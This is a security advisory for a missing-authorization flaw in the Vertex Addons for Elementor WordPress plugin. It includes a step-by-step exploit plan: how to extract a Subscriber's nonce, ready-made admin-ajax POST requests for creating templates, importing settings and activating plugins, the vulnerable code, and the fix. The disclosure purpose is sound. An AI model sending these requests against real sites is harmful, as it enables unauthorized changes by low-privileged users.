Vertex Addons for Elementor <= 1.6.4 - Missing Authorization
Description
The Vertex Addons for Elementor plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.6.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.6.4What Changed in the Fix
Changes introduced in v1.7.0
Source Code
WordPress.org SVN# Research Plan: Missing Authorization in Vertex Addons for Elementor (CVE-2026-25398) ## 1. Vulnerability Summary The **Vertex Addons for Elementor** plugin (up to 1.6.4) is vulnerable to missing authorization. Specifically, the functions `create_template` and `create_popup` in the `AFEB\Ajax` cla…
Show full research plan
Research Plan: Missing Authorization in Vertex Addons for Elementor (CVE-2026-25398)
1. Vulnerability Summary
The Vertex Addons for Elementor plugin (up to 1.6.4) is vulnerable to missing authorization. Specifically, the functions create_template and create_popup in the AFEB\Ajax class fail to perform capability checks (e.g., current_user_can('edit_posts')).
While these functions verify a WordPress nonce (afeb_ajax_nonce), this nonce is enqueued in the WordPress admin dashboard for all logged-in users, including those with Subscriber roles. Consequently, a Subscriber can create arbitrary Elementor templates and popups, leading to unauthorized data modification (Integrity: Low).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
afeb_create_templateorafeb_create_popup - Authentication: Authenticated (Subscriber-level or higher).
- Vulnerable Parameters:
data[type](Template type: header, footer, single, archive, or dynamic-loop-item)data[name](Post title)
- Preconditions: The attacker must be logged in to WordPress to obtain the valid admin nonce.
3. Code Flow
- Hook Registration:
app/afeb.phpinitializes theAFEB\Ajaxclass via(new Ajax())->init(). - Action Mapping:
app/Ajax.phpinactions()registers the AJAX handlers:add_action('wp_ajax_afeb_create_template', [$this, 'create_template']); add_action('wp_ajax_afeb_create_popup', [$this, 'create_popup']); - Trigger: An authenticated user sends a POST request with
action=afeb_create_template. - Vulnerable Function:
Ajax::create_template()is called:- It verifies the nonce:
check_ajax_referer('afeb_ajax_nonce', 'nonce'); - It fails to check user capabilities.
- It calls
wp_insert_post()to create a post of typeAFEB\PostTypes\Builder::BUILDER_POST_TYPE. - It updates post meta using
update_post_meta($id, '_afeb_document_type', $type);.
- It verifies the nonce:
4. Nonce Acquisition Strategy
The nonce is localized for the WordPress admin backend. Any logged-in user can access /wp-admin/profile.php, where the plugin's backend scripts are enqueued.
- Navigate: Use the browser to go to
/wp-admin/profile.php. - Find Script: The
app/Assets.phpfile registersafeb-backend-script. The nonce is likely part of a localized object. - Extract: Use
browser_evalto find the nonce. The object name is likelyafeb_backend_paramsorafeb_params(based on naming conventions inAssets.php).browser_eval("window.afeb_backend_params?.nonce")- Alternatively, search the HTML source for the string
"afeb_ajax_nonce".
5. Exploitation Strategy
Create an Elementor Template
- Method: POST
- URL:
http://TARGET/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=afeb_create_template&nonce=[EXTRACTED_NONCE]&data[type]=header&data[name]=VulnerablePost
Create an Elementor Popup
- Method: POST
- URL:
http://TARGET/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=afeb_create_popup&nonce=[EXTRACTED_NONCE]&data[name]=VulnerablePopup
6. Test Data Setup
- Target Version: Ensure plugin version 1.6.4 is installed and active.
- User Creation: Create a user with the
subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Dependencies: Ensure Elementor is installed and active, as the plugin requires it to initialize the AJAX class.
7. Expected Results
- The server should respond with a JSON success message:
{"success":true,"data":{"redirect":"...","message":"The new template has been created"}}. - A new post should be created in the database.
8. Verification Steps
- Check Posts: Use WP-CLI to check for the newly created post type.
- For templates:
wp post list --post_type=afeb_builder --field=post_title(Note:afeb_builderis the inferred slug forBuilder::BUILDER_POST_TYPE). - For popups:
wp post list --post_type=afeb_popup --field=post_title(Note:afeb_popupis the inferred slug forPopup::POPUP_POST_TYPE).
- For templates:
- Verify Meta: Confirm the template type was set correctly.
wp post meta list [NEW_POST_ID]
9. Alternative Approaches
If afeb_create_template fails due to strict post-type checks, attempt afeb_activate_required_plugins or afeb_import_settings which are also registered in Ajax::actions() and appear to lack capability checks.
- Import Settings Exploit:
action=afeb_import_settings&nonce=[NONCE]&data=[BASE64_SETTINGS] - Required Plugins Exploit:
action=afeb_activate_required_plugins&nonce=[NONCE]&data[slug]=any-plugin-slug
Summary
The Vertex Addons for Elementor plugin for WordPress (up to version 1.6.4) fails to implement proper authorization checks on several AJAX functions, including those for template creation, plugin activation, and settings imports. While these functions use nonces for CSRF protection, the nonce is available to any authenticated user, allowing low-privileged attackers like Subscribers to perform unauthorized administrative actions.
Vulnerable Code
// app/Ajax.php line 54 add_action('wp_ajax_afeb_create_template', [$this, 'create_template']); add_action('wp_ajax_afeb_create_popup', [$this, 'create_popup']); add_action('wp_ajax_afeb_activate_required_plugins', [$this, 'activate_required_plugins']); add_action('wp_ajax_afeb_import_templates_kit', [$this, 'import_templates_kit']); add_action('wp_ajax_afeb_import_settings', [$this, 'import_settings']); --- // app/Ajax.php line 122 public function create_template() { check_ajax_referer('afeb_ajax_nonce', 'nonce'); $type = isset($_POST['data']['type']) ? sanitize_text_field(wp_unslash($_POST['data']['type'])) : ''; // ... (missing capability check before wp_insert_post) --- // app/Ajax.php line 211 public function create_popup() { check_ajax_referer('afeb_ajax_nonce', 'nonce'); $name = isset($_POST['data']['name']) ? sanitize_text_field(wp_unslash($_POST['data']['name'])) : ''; // ... (missing capability check before wp_insert_post)
Security Fix
@@ -224,10 +224,14 @@ { check_ajax_referer('afeb_ajax_nonce', 'nonce'); - $error = ''; - if (!current_user_can('install_plugins')) - $error = esc_html__('Sorry, you are not allowed to install plugins on this site.', 'addons-for-elementor-builder'); + { + wp_send_json_error([ + 'message' => esc_html__('Sorry, you are not allowed to install plugins on this site.', 'addons-for-elementor-builder'), + ], 403); + } + + $error = ''; $plugins = isset($_POST['plugins']) ? map_deep($_POST['plugins'], 'sanitize_text_field') : []; $time_limit = ini_get('max_execution_time'); @@ -294,6 +298,13 @@ { check_ajax_referer('afeb_ajax_nonce', 'nonce'); + if (!current_user_can('manage_options')) + { + wp_send_json_error([ + 'message' => esc_html__('Sorry, you are not allowed to import template kit settings on this site.', 'addons-for-elementor-builder'), + ], 403); + } + $time_limit = ini_get('max_execution_time'); if (!did_action('elementor/loaded') || !class_exists(Plugin::class)) @@ -386,6 +397,13 @@ { check_ajax_referer('afeb_ajax_nonce', 'nonce'); + if (!current_user_can('manage_options')) + { + wp_send_json_error([ + 'message' => esc_html__('Sorry, you are not allowed to import template kits on this site.', 'addons-for-elementor-builder'), + ], 403); + } + $args = [
Exploit Outline
1. Login to the WordPress site as a Subscriber-level user. 2. Access the WordPress admin dashboard (e.g., /wp-admin/profile.php) to obtain the plugin's localized AJAX nonce, 'afeb_ajax_nonce'. 3. Construct an AJAX request targeting 'admin-ajax.php'. 4. Set the 'action' parameter to a vulnerable handler such as 'afeb_create_template' or 'afeb_import_settings'. 5. Include the extracted nonce in the 'nonce' parameter. 6. Provide payload parameters (e.g., 'data[type]=header&data[name]=MaliciousTemplate') to create new site components or modify settings without having the required administrative permissions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.